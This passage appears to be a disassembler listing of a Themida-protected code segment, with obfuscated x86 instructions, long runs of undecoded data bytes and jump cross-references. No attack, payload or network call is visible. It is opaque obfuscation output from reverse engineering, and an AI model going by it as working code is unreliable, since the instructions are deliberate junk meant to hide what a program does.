0F76A46E9h, 0BC1811Eh dd 1A49B1Fh, 0C62D59C8h, 8B277E0Bh, 0C481241Ch, 4, 0E9240487h dd 0FFFFC5F0h, 835BD828h, 8AE904ECh, 88000037h, 5DE95B3Ah dd 56FFFF82h, 0DB79AEBEh, 5EF3093Ah, 0FFE4E2E9h, 2434FFFFh dd 5E2434FFh, 0C45E9h, 0C7815C00h, 4, 7A0568h, 243C8900h dd 42474FFh, 0FFBAA6E9h, 0AABA52FFh, 29412027h, 8B665AD3h dd 10E92414h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B70B: ; CODE XREF: Themida_:00543B12j pop ebx push esi mov esi, 536218F4h xor esi, 26143453h shr esi, 4 xchg ecx, esi neg ecx xchg ecx, esi xor esi, 0E99F8CA8h jmp loc_549655 ; --------------------------------------------------------------------------- dd 24048B66h, 0E4D8E953h, 0C683FFFFh, 24348704h, 0CDBE565Ch dd 53459828h, 0CE38A4BBh, 7E38102h, 0E9385D77h, 0FFFFFD28h ; --------------------------------------------------------------------------- loc_54B754: ; CODE XREF: Themida_:0054AF35j shr ecx, 4 sub ecx, 70E50400h add ecx, 4A5345D8h jmp loc_547773 ; --------------------------------------------------------------------------- dd 0BE243489h, 0ED017FBh, 0E809C681h, 1FE9F12Fh, 89FFFF96h dd 4C181E1h, 83000000h, 0E95104E9h, 2759h ; --------------------------------------------------------------------------- loc_54B78C: ; CODE XREF: Themida_:00545E42j pop esi sub esp, 4 mov [esp], ecx jmp loc_54E7DB ; --------------------------------------------------------------------------- aYRQgcbC2sd db 'Y)ØRºÖqƒCÂÉ$c2é„"',0 align 4 dd 0BA52E089h, 4, 815AD001h, 4ECh, 242C8900h, 12A46857h dd 565F484Bh, 2046D6BEh, 81DEF729h, 2ACBCCEEh, 0C3B9511Fh dd 13D4D76h, 0EF8159CFh, 45760385h, 0C781F701h, 45760385h dd 76C3EF81h, 8AE93D4Dh, 8F000029h, 0E95C2404h, 2D53h dd 0C0B46B8h, 0C178E924h, 54BEFFFFh, 813B9F00h, 1115CFEEh dd 0E9F68122h, 81636F7Fh, 0F7E867F6h, 5EF02949h, 22E7E9h dd 24048B00h, 0FA75E957h, 0DE29FFFFh, 1A19EE81h, 0CFE930ACh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B83F: ; CODE XREF: Themida_:0054B566j shl edx, 8 neg edx sub edx, 0B01DB67Ah and ebp, edx pop edx sub ebp, 11193A82h jmp loc_544698 ; --------------------------------------------------------------------------- aUsp db 'Ué%',0 align 2 dw 0C109h dd 0D7BA5258h, 2957FF26h, 0CE895AD1h, 0D3C78159h, 124255Dh dd 0D3EF81F7h, 8B24255Dh, 40E92434h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B883: ; CODE XREF: Themida_:0054D115j push esi mov esi, 777764CCh add eax, 1FC84DBAh jmp loc_5479F7 ; --------------------------------------------------------------------------- db 81h dd 42404h, 56580000h, 280BE9h, 5C2CAC00h, 0B551472Ch, 0B0F58007h dd 0FFB868E9h, 4C483FFh, 0FF8B63E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B8B9: ; CODE XREF: Themida_:005453F2j mov eax, esp add eax, 4 add eax, 4 jmp loc_548086 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 4C581h, 0CCE90000h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B8DB: ; CODE XREF: Themida_:005445CCj pop ecx sub esp, 4 mov [esp], edi mov edi, 51841h add ebx, edi pop edi jmp loc_546B3E ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 0E9241C33h, 14F0h ; --------------------------------------------------------------------------- loc_54B900: ; CODE XREF: Themida_:00544058j dec esi jmp loc_54709B ; --------------------------------------------------------------------------- loc_54B906: ; CODE XREF: Themida_:0054945Aj push edi jmp loc_5476E1 ; --------------------------------------------------------------------------- dd 331FEA81h, 0F20125B3h, 331FC281h, 875E25B3h, 0E95C2414h dd 0FFFFF83Eh ; --------------------------------------------------------------------------- loc_54B924: ; CODE XREF: Themida_:0054BEEDj jmp loc_543924 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0EDE90000h, 59FFFF7Fh, 28C1F380h, 0D8285BD8h dd 1C8B2104h, 0BFA1E924h, 8B66FFFFh, 5682404h, 89000009h dd 8952240Ch, 9ABF57E2h, 811FF73Ch, 5F20CCE7h, 8E94F49h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B96B: ; CODE XREF: Themida_:00544088j add ebp, 11B57C83h pop eax xchg ebp, [esp] jmp loc_54945F ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 0FFD949E9h, 4EC81FFh, 89000000h, 168240Ch dd 0FF000000h, 0C8B2434h, 4C48124h, 0E9000000h, 0FFFFE0E2h dd 0C8B5A66h, 4C48124h, 51000000h, 8C1BE950h, 0CB29FFFFh dd 51240C8Bh, 0FFCE32E9h, 62E680FFh, 2C39F680h, 4F00005h dd 2620E905h, 0B7530000h, 0B8F78064h, 2C95B050h, 0F6C8FE47h dd 0B2B652D0h, 45AF030h, 30F92CF2h, 0E7C058C7h, 0FB23E908h dd 0E300FFFFh, 1515E9h, 0D831AD00h, 4EC8151h, 89000000h dd 8682434h, 0E965AA09h, 0B2Ch ; --------------------------------------------------------------------------- loc_54BA14: ; CODE XREF: Themida_:005468C2j sub eax, edx jmp loc_546308 ; --------------------------------------------------------------------------- db 0B9h dd 71F470B1h, 0C8BCD89h, 4C48324h, 7AD7E581h, 0BE566201h dd 348C23DBh, 815EF521h, 9B462BEDh, 9CC5810Fh, 81EF9B25h dd 534552EFh, 81EF015Ch, 534552C7h, 0FF575D5Ch, 5F042474h dd 8B24048Fh, 8B662424h, 89572404h, 0A7B850E7h, 2D163E25h dd 57C05F8Dh, 7B33BF57h, 0F8313B4Ch, 257CE95Fh, 0F0890000h dd 0E924348Bh, 789h ; --------------------------------------------------------------------------- loc_54BA88: ; CODE XREF: Themida_:0054A58Cj push ebx mov ebx, 68B334C3h jmp loc_5471D6 ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 2C8904ECh, 27E95424h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAA3: ; CODE XREF: Themida_:0054A256j mov ecx, 0EF8E1276h jmp loc_54EAAB ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 0A87C05EBh, 1987E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BABA: ; CODE XREF: Themida_:0054F592j sub [esp+4], ebx jmp loc_545844 ; --------------------------------------------------------------------------- db 83h dd 0E2E904ECh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BACB: ; CODE XREF: Themida_:00544C56j pop edx jmp loc_546B4C ; --------------------------------------------------------------------------- loc_54BAD1: ; CODE XREF: Themida_:0054F9B3j mov [esp], edx mov edx, esp add edx, 4 jmp loc_54ACEF ; --------------------------------------------------------------------------- loc_54BAE1: ; CODE XREF: Themida_:005445B5j xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_547C90 ; --------------------------------------------------------------------------- loc_54BAF2: ; CODE XREF: Themida_:0054A79Aj or edx, eax shl edx, 1 jmp loc_54DC60 ; --------------------------------------------------------------------------- loc_54BAFB: ; CODE XREF: Themida_:0054D317j inc dh or dh, 0E9h jmp loc_54EFDB ; --------------------------------------------------------------------------- db 68h, 0ACh, 61h dd 4E90000h, 68000027h, 72E6h, 0E9240489h, 2D8Bh, 22E95558h dd 0F7FFFFE2h, 81CF87D1h, 551DF7CFh, 0FBEF811Fh, 1BF5DBDh dd 0C0835FF8h, 24048702h, 2824248Bh, 0E99C2404h, 0FFFF7DDCh dd 89240489h, 0D4EFE9E0h, 0C0FEFFFFh, 0FFB90FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BB59: ; CODE XREF: Themida_:00548A42j mov ebx, esp push edx jmp loc_54E0D3 ; --------------------------------------------------------------------------- db 86h, 0FAh, 0C0h dd 0EC8105E2h, 2, 241C8966h, 0B7E9B450h, 0E9CFFEA4h, 2E4Ch dd 5E08950h, 4, 0FFC96EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BB89: ; CODE XREF: Themida_:00546D83j push ebp mov ebp, 40CB46D3h jmp loc_54F8A5 ; --------------------------------------------------------------------------- loc_54BB94: ; CODE XREF: Themida_:00548593j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edx push esi push 6C983646h jmp loc_54DF91 ; --------------------------------------------------------------------------- dw 8B54h dd 0C483243Ch, 15B85004h, 0C140514Bh, 0E0C106E0h, 0FB354804h dd 1452C53h, 3D61E9C7h, 3B5C0000h, 41E99CC8h, 8BFFFF7Dh dd 0C483241Ch, 0B2B8E904h, 0C15AFFFFh, 0E94A03EAh, 0FFFFE9F8h ; --------------------------------------------------------------------------- loc_54BBF8: ; CODE XREF: Themida_:00546310j sub esp, 4 jmp loc_54EB54 ; --------------------------------------------------------------------------- dd 21C6BE56h, 0DCE97207h, 1FFFFF0h, 850559C8h, 2D519A50h dd 4FAC2971h, 0E9242C8Bh, 1243h, 4C3815Bh, 0E9000000h dd 0FFFFBDC5h, 405E089h, 0E9000000h, 0A7Bh ; --------------------------------------------------------------------------- loc_54BC38: ; CODE XREF: Themida_:00545774j mov edi, 6A711018h jmp loc_546BC2 ; --------------------------------------------------------------------------- loc_54BC42: ; CODE XREF: Themida_:0054DAAAj push ecx push eax mov eax, 5FF34675h or eax, 5FDB6CDDh and eax, 749402AEh inc eax and eax, 52EE3585h add eax, 71C84FFEh xor eax, 0B73D6120h mov ecx, eax jmp loc_5488BD ; --------------------------------------------------------------------------- dw 0C33h dd 0AB40E924h, 468FFFFh, 5B000000h, 1C8BD929h, 4C48324h dd 5C240C87h, 68243489h, 35076D25h, 3A24055Eh, 81E934D7h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC97: ; CODE XREF: Themida_:0054912Aj not ebx sub ebx, 37E801DEh add ebx, 0D42329E3h add esi, ebx jmp loc_54ED2A ; --------------------------------------------------------------------------- dd 0FF04C483h, 0FFE92434h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCB7: ; CODE XREF: Themida_:00549D0Bj xchg ebx, edx dec ebx xchg ebx, edx push ecx mov ecx, 48E70AA7h and ecx, 252564ACh push ebx mov ebx, 0C7A7B8Ch xor ecx, ebx pop ebx add edx, ecx jmp loc_54754D ; --------------------------------------------------------------------------- dd 6804C483h, 28E5h, 83240C89h, 148904ECh, 70C5BA24h, 5B932BFh dd 81622167h, 0C1890C1h, 3CE9521Bh db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCFF: ; CODE XREF: Themida_:005480F4j mov ecx, 1D130D09h and ecx, 70284584h neg ecx shr ecx, 4 inc ecx jmp loc_54756D ; --------------------------------------------------------------------------- db 24h, 0A8h, 0FEh dd 884E2CC0h, 24048BC2h, 4C481h, 0D7880000h, 66F8285Ah dd 0E9241C8Bh, 0FFFFCC35h, 55C58159h, 81E7427Dh, 8A58E7C2h dd 3E9CE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD46: ; CODE XREF: Themida_:00546FF2j pop ebx jmp loc_54EC23 ; --------------------------------------------------------------------------- dd 48E9F929h, 0BBFFFFCCh, 15574F25h, 4AE9DF29h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD5F: ; CODE XREF: Themida_:0054982Ej xchg ebx, [esp] pop esp sub al, ch jmp loc_548091 ; --------------------------------------------------------------------------- dw 55ADh dd 0EC3FC9BDh, 43C30553h, 0E801799Ah, 9A43C32Dh, 0C8E95D79h dd 0FF00000Fh, 555B2434h, 0FF9E35E9h, 81FA01FFh, 785871C2h dd 0ACB8505Dh, 811B7C7Ah, 0F34E10C2h, 81C2012Dh, 0F34E10EAh dd 0F440E92Dh, 0D205FFFFh, 2D663017h, 0DE337DEh, 2303E9h dd 0FFF90100h, 1DE92434h, 89FFFFF0h, 4B9240Ch, 0E9000000h dd 0F0Ch, 12E9F931h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BDDB: ; CODE XREF: Themida_:0054CEC9j not dword ptr [esp] jmp loc_54D66C ; --------------------------------------------------------------------------- loc_54BDE3: ; CODE XREF: Themida_:0054CA78j sub eax, ecx sub eax, 5ADF4C99h push edi mov edi, 5D2D26D7h jmp loc_548D18 ; --------------------------------------------------------------------------- db 0BEh, 2Fh, 6Ch dd 0EEC12027h, 4E6C104h, 0DE9DEF7h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE07: ; CODE XREF: Themida_:00545310j xor ebp, [esp] jmp loc_548951 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 528C68h, 24248900h, 8904EC83h, 4BD242Ch dd 1000000h, 0E904246Ch, 1527h ; --------------------------------------------------------------------------- loc_54BE34: ; CODE XREF: Themida_:0054FB23j xchg ecx, ebp jmp loc_54F499 ; --------------------------------------------------------------------------- db 56h dd 2A7E2FBEh, 0F7D6F777h, 0D5C681D6h, 188D581h, 14875EF2h dd 24248B24h, 0FFC0B60Fh, 0EC838734h, 24148904h, 502629BAh dd 7E2C115h, 4F58EA81h, 0BB533B7Bh, 65BB766Ch, 330BCB81h dd 0E94B3C92h, 0FFFFB976h, 0C104E2C1h, 0E9E906EAh, 68FFFFB0h dd 944h, 0E9243489h, 2364h ; --------------------------------------------------------------------------- loc_54BE98: ; CODE XREF: Themida_:0054D57Bj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54A897 ; --------------------------------------------------------------------------- dd 0BB06C681h, 0F0011819h, 0C504E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEBA: ; CODE XREF: Themida_:00546AD5j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx mov dh, 0DDh add dh, 1 shr dh, 2 jmp loc_54D5AA ; --------------------------------------------------------------------------- dw 0C681h dd 6C9336D2h, 0FFC983E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BEE9: ; CODE XREF: Themida_:0054435Ej xchg ebx, [esp] pop esp jmp loc_54B924 ; --------------------------------------------------------------------------- loc_54BEF2: ; CODE XREF: Themida_:0054E39Fj add ebp, 83001D5Ah push ebp pop ebx jmp loc_545258 ; --------------------------------------------------------------------------- db 0F7h dd 0E9D1F7D9h, 0FFFFD906h, 4C281h, 14870000h, 2C875C24h dd 89665C24h, 5E9240Ch, 0E9FFFF7Ah, 0FFFF7A00h, 32414925h dd 41442D5Fh, 44015F20h, 34FF0424h, 0C4835824h, 79E6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF3E: ; CODE XREF: Themida_:0054F7AEj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add ebx, edi jmp loc_54679C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h){',0 align 2 aS_5 db 'é',0 db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 143E588Bh xchg eax, esi not esi xchg eax, esi and eax, 36516DFCh dec eax sub esp, 4 mov [esp], edx mov edx, 381863EBh jmp loc_54EA95 ; --------------------------------------------------------------------------- dw 875Fh dd 685C241Ch, 3C80h, 0BE243489h, 2D269CCh, 4247429h, 5E2434FFh dd 0E9E68956h, 0FFFFEAEFh, 4C681h, 0C6810000h, 4, 0FF8A26E9h dd 2434FFFFh, 4C48158h, 53000000h, 5751E389h, 484B7568h dd 0A76AE96Ch, 0EC81FFFFh, 4, 0B4240489h, 0C7C4806Fh, 894B151h dd 240C8BCCh, 0E904C483h, 0FFFFB43Dh, 2FA0E956h, 0E95A0000h dd 0FFFFF6BFh ; --------------------------------------------------------------------------- loc_54C000: ; CODE XREF: Themida_:00545385j sub al, bh pop bx push dx mov dh, 0DDh push eax push edx jmp loc_544101 ; --------------------------------------------------------------------------- loc_54C00F: ; CODE XREF: Themida_:0054C131j pop edi jmp loc_543DA3 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FFBFC4E9h, 81665AFFh, 0E941D4CBh, 0FFFF9E76h, 4C481h dd 53E90000h, 66FFFFF3h, 8124048Bh, 4ECh, 24148900h, 83515A54h dd 3C8904ECh, 2803E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C04E: ; CODE XREF: Themida_:00547763j pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_54CEC8 ; --------------------------------------------------------------------------- loc_54C063: ; CODE XREF: Themida_:00544898j pop ecx and eax, edx mov edx, [esp] add esp, 4 push edx mov edx, 1Ch push esi push ecx mov ecx, 0C796F0Dh mov esi, ecx pop ecx jmp loc_546493 ; --------------------------------------------------------------------------- aS_0W db 'S³.0Ý[,W',0 dw 4E8h dd 8FDFE957h, 5051FFFFh, 30180DB8h, 58C1897Ah, 0D59C889h dd 185B1D33h, 7B1D3535h, 4EC817Ah, 89000000h, 34812404h dd 2B120024h, 0BF575903h, 6FA0DF5h, 0FFFFEF81h, 0B1E9FFFFh dd 0B9FFFFEFh, 6865515Dh, 4105E9C1h, 2A8FF181h, 0B9510343h dd 3E5C26F7h, 4BCBE181h, 0D9F719CDh, 0B2CFE981h, 0CA29842Ah dd 81CA0159h, 894A6EC2h, 45685963h, 89000065h, 2BF243Ch dd 0E9000000h, 0FFFFD9ECh, 240C3358h, 33240C31h, 248B240Ch dd 240CD324h, 7802E99Ch, 4068FFFFh, 0E9000014h, 0FFFFCDA6h ; --------------------------------------------------------------------------- loc_54C12C: ; CODE XREF: Themida_:00543E68j add eax, 7385229Bh jmp loc_54C00F ; --------------------------------------------------------------------------- dw 0C89h dd 3C56824h, 87680000h, 0E9000023h, 0FFFFE4DDh ; --------------------------------------------------------------------------- loc_54C148: ; CODE XREF: Themida_:0054C535j sub ebp, 555F4857h jmp loc_546456 ; --------------------------------------------------------------------------- db 0B9h dd 4CA8282Bh, 0FD02BF57h, 0C4E9CAD9h, 0F700002Ch, 0C9F781D7h dd 4F7B855Bh, 8D3EC781h, 0FB892ED2h, 2794E9h db 0 ; --------------------------------------------------------------------------- loc_54C179: ; CODE XREF: Themida_:00543C32j pop ebx or ebx, ecx push dword ptr [esp] jmp loc_54889A ; --------------------------------------------------------------------------- dd 80E9F031h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C18B: ; CODE XREF: Themida_:0054E041j and ebx, 2E5D2C6Fh push edi mov edi, 0EBAF999Dh sub ebx, edi pop edi xor ebx, 3DF67581h sub ebx, 2B659B0Eh jmp loc_548677 ; --------------------------------------------------------------------------- db 0F7h dd 0EE8146D6h, 4B4B150Fh, 10CFBB53h, 7BE94E04h, 0E9FFFFEDh dd 0FFFF7760h, 8904EC83h, 6857242Ch, 170C3E85h, 0DCF5E95Fh dd 0E389FFFFh, 4B951h, 0EB810000h, 14517F66h, 0FFD851E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C1E9: ; CODE XREF: Themida_:0054CFD3j add dword ptr [esp], 4 pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx push 0FFFFFFFFh mov edx, [esp] push ecx push esp pop ecx jmp loc_5454A9 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0A55AAAEBh, 81C32970h, 0A55AAAC3h, 0EC815870h dd 4, 50241489h, 1A19BCB8h, 74952541h, 0E8C12BA5h, 48D0F705h dd 3C844235h, 58C289BAh, 535AD329h, 0BE580E68h, 2434FF10h dd 0CD0E9h, 5BBE5600h, 81752F19h, 302373C6h, 5EF201A2h dd 0EA81C201h, 175F3CCEh, 43196850h, 3AE96D76h, 54FFFF85h dd 40558h, 55510000h, 1E59E957h, 0EF830000h, 0C56EE904h dd 0C781FFFFh, 0DDEBFB24h, 815FFD89h, 0F71A10C2h, 81EA0137h dd 0F71A10EAh, 336DE937h, 2B80000h, 1000000h, 1DE958C6h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C2BB: ; CODE XREF: Themida_:0054F855j add esp, 4 pop eax sub al, 0A1h sub al, cl add al, 0A1h jmp loc_54B66D ; --------------------------------------------------------------------------- loc_54C2CD: ; CODE XREF: Themida_:00548683j and eax, ebx pop ebx jmp loc_543A25 ; --------------------------------------------------------------------------- loc_54C2D5: ; CODE XREF: Themida_:0054AEA0j mov [esp], edx jmp loc_54C2F3 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E904C483h, 0FFFF920Bh, 4EC81h, 0E0E90000h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C2F3: ; CODE XREF: Themida_:0054C2D8j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_54FD42 ; --------------------------------------------------------------------------- dw 0DFF7h dd 6706C781h, 0C781404Ah, 19C86B97h, 0E945C781h, 7EE98903h dd 0FFFFFF94h, 75FEE930h, 8957FFFFh, 4C781E7h, 83000000h dd 22E904C7h, 29FFFFEBh, 27E95EF7h, 33000022h, 248B2414h dd 0C8BE0F24h, 39E968h, 240C8900h, 1645E9h db 0 ; --------------------------------------------------------------------------- loc_54C355: ; CODE XREF: Themida_:0054F8A0j mov ecx, edx pop edx and eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5457DF ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 0FFB029E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C379: ; CODE XREF: Themida_:0054ABEFj pop esp jmp loc_54E869 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 28E95700h, 81FFFFEAh, 4C5h, 7980E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C396: ; CODE XREF: Themida_:0054772Bj add esi, 4 xchg esi, [esp] pop esp jmp loc_545D48 ; --------------------------------------------------------------------------- loc_54C3A5: ; CODE XREF: Themida_:00549CFAj sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_54652A ; --------------------------------------------------------------------------- loc_54C3BE: ; CODE XREF: Themida_:0054D6E5j shl ebp, 8 or ebp, 16C342B5h sub ebp, 2AA73975h add ebp, 6C5006F6h xor ebp, 219BD8F8h sub ebx, ebp pop ebp pop edx jmp loc_54C803 ; --------------------------------------------------------------------------- loc_54C3E2: ; CODE XREF: Themida_:0054E7ADj pop ecx push ebp push 73150D9Bh pop ebp xor ebp, 7D484BFCh add ebp, 68652BCDh shr ebp, 5 add ebp, 1 add ebp, 63AB3FC0h add ecx, ebp mov ebp, [esp] add esp, 4 push 4675h mov [esp], edx push ebp mov ebp, 40h mov edx, ebp pop ebp and ecx, edx jmp loc_54F0F4 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 0B9B6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C436: ; CODE XREF: Themida_:0054FB07j xor edi, 52DC0767h xor edi, 0AD61E983h add eax, edi jmp loc_546DAF ; --------------------------------------------------------------------------- loc_54C449: ; CODE XREF: Themida_:00544740j sub ecx, 1CEECD0h or edi, ecx jmp loc_5454F9 ; --------------------------------------------------------------------------- loc_54C456: ; CODE XREF: Themida_:00545F8Cj sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push 4113h mov [esp], ecx push esp pop ecx push ebp push esi push edx mov edx, 4 mov esi, edx jmp loc_545F2D ; --------------------------------------------------------------------------- dw 95Bh dd 68E95DE9h, 8BFFFF9Fh, 0A9E92434h, 0B9FFFFE8h, 30700478h dd 8107E1C1h, 305DCC9h, 96E1814Dh, 8171D562h, 12090F1h dd 59C82971h, 1068E9h db 0 ; --------------------------------------------------------------------------- loc_54C4B9: ; CODE XREF: Themida_:0054F64Ej mov [esp], ebx mov ebp, [esp] sub esp, 4 jmp loc_54638F ; --------------------------------------------------------------------------- dw 0D8F7h dd 2E3CE9h, 24348900h, 0FFDADAE9h, 7F2D48FFh, 318265A6h dd 504F58C7h, 8D08C3B8h, 7DA22D1Bh, 0E0C14114h, 48E0D107h dd 0FF84CDE9h, 241C87FFh, 8B25E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C502: ; CODE XREF: Themida_:005442FDj pop ebx push ecx push ebp mov ebp, 43142EB9h mov ecx, ebp pop ebp shl ecx, 4 jmp loc_54DB40 ; --------------------------------------------------------------------------- aZRs3 db '‡<$\Ré±3',0 dw 0E900h dd 0FFFF7400h ; --------------------------------------------------------------------------- loc_54C524: ; CODE XREF: Themida_:00547883j add esp, 4 jmp loc_546ADA ; --------------------------------------------------------------------------- loc_54C52C: ; CODE XREF: Themida_:0054E2C0j add edx, 0DD81D6E3h add eax, edx pop edx jmp loc_54C148 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFF7E6Ah, 0CEBD555Eh, 0E934BA08h, 372Ah, 2414895Ch dd 0FF88E0E9h, 240489FFh, 4055854h, 68000000h, 1E24h, 0FF7C38E9h dd 9224BDFFh, 0CD2975F3h, 34ADE9h, 6BE95100h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C57B: ; CODE XREF: Themida_:005488A2j mov ecx, [esp] jmp loc_544621 ; --------------------------------------------------------------------------- loc_54C583: ; CODE XREF: Themida_:00545129j mov dword ptr [edi+20h], 95B8B17Eh push 753Fh mov [esp], edx jmp loc_54B232 ; --------------------------------------------------------------------------- db 1 dd 0E9042474h, 0FFFFA12Fh, 92E9E689h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C5A7: ; CODE XREF: Themida_:0054D97Dj and ebx, 187F7BF2h sub ebx, 4D110A5Bh inc ebx push eax mov eax, 0B31760E4h sub ebx, eax mov eax, [esp] add esp, 4 sub esi, ebx pop ebx xchg esi, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_54904F ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFBD92h, 241CF766h, 7332E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C5F2: ; CODE XREF: Themida_:00546222j sub esp, 4 mov [esp], eax xchg eax, [esp] not eax xchg eax, [esp] jmp loc_54A271 ; --------------------------------------------------------------------------- dd 0CB21B968h, 64685B7Ch, 0E900000Fh, 0FFFFA341h ; --------------------------------------------------------------------------- loc_54C618: ; CODE XREF: Themida_:00549AF3j mov esp, [esp] push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_545B65 ; --------------------------------------------------------------------------- loc_54C62D: ; CODE XREF: Themida_:005456B4j push ebp mov ebp, 41CE1D62h and esi, ebp jmp loc_5444E0 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4BD55h, 0EF290000h, 243C875Dh, 0FF9B12E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C651: ; CODE XREF: Themida_:00545CC2j add edi, 4 xchg edi, [esp] pop esp push eax push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_549CFF ; --------------------------------------------------------------------------- dd 5524148Bh, 0FF884BE9h, 0E981B3FFh, 0FFFFEE18h, 9D1C77FFh dd 1CD35966h, 8DE99C24h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C697: ; CODE XREF: Themida_:0054AAD2j pop esp push ebx push ebp mov ebp, 4BC322EFh push 0 add dword ptr [esp], 34724D7Fh sub [esp], ebp jmp loc_549833 ; --------------------------------------------------------------------------- db 83h dd 48704E8h, 4895C24h, 5585424h, 4, 14E68h, 243C8900h dd 468h, 8476E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C6D6: ; CODE XREF: Themida_:00545F3Dj pop esp sub esp, 4 mov [esp], esi jmp loc_54F96D ; --------------------------------------------------------------------------- aI4Se db '‰4$é…$',0 align 2 loc_54C6EA: ; CODE XREF: Themida_:0054B668j sub esp, 4 mov [esp], ebp mov ebp, 79D72B55h neg ebp jmp loc_54AFC8 ; --------------------------------------------------------------------------- db 87h dd 0CFE781EFh, 8111D335h, 0C4663F7h, 81DFF747h, 22BC12EFh dd 5FF901A9h, 31240C33h, 0C33240Ch, 24248B24h, 9C242CD3h dd 0FF71F7E9h, 0C8B66FFh, 0EC815324h, 4, 0E9242489h, 0FFFFC5FFh dd 34E9EB29h, 0CFFFFA5h, 0B1516619h, 66C830D6h, 88552C59h dd 0D30058C2h, 0B6DE9h db 0 ; --------------------------------------------------------------------------- loc_54C75D: ; CODE XREF: Themida_:00547921j add esp, 4 jmp loc_54CEF6 ; --------------------------------------------------------------------------- loc_54C768: ; CODE XREF: Themida_:0054848Dj mov [esp], ecx jmp loc_54A6EC ; --------------------------------------------------------------------------- dd 89E95050h, 1FFFFF0h, 0FB015FFBh, 83243C8Bh, 5F2104C4h dd 0AE11E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C78A: ; CODE XREF: Themida_:0054A10Fj shl ah, 7 jmp loc_54B267 ; --------------------------------------------------------------------------- dw 8F54h dd 0ACE92404h, 87FFFFA5h, 835C2434h, 48904ECh, 70A1B824h dd 942D75FBh, 2DF6BE11h, 4D297349h, 0FFEB8393h, 0FFBAE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C7BD: ; CODE XREF: Themida_:00543AE2j pop esp sub esp, 4 mov [esp], esi jmp loc_544D06 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 0E9000000h, 0FFFF7246h, 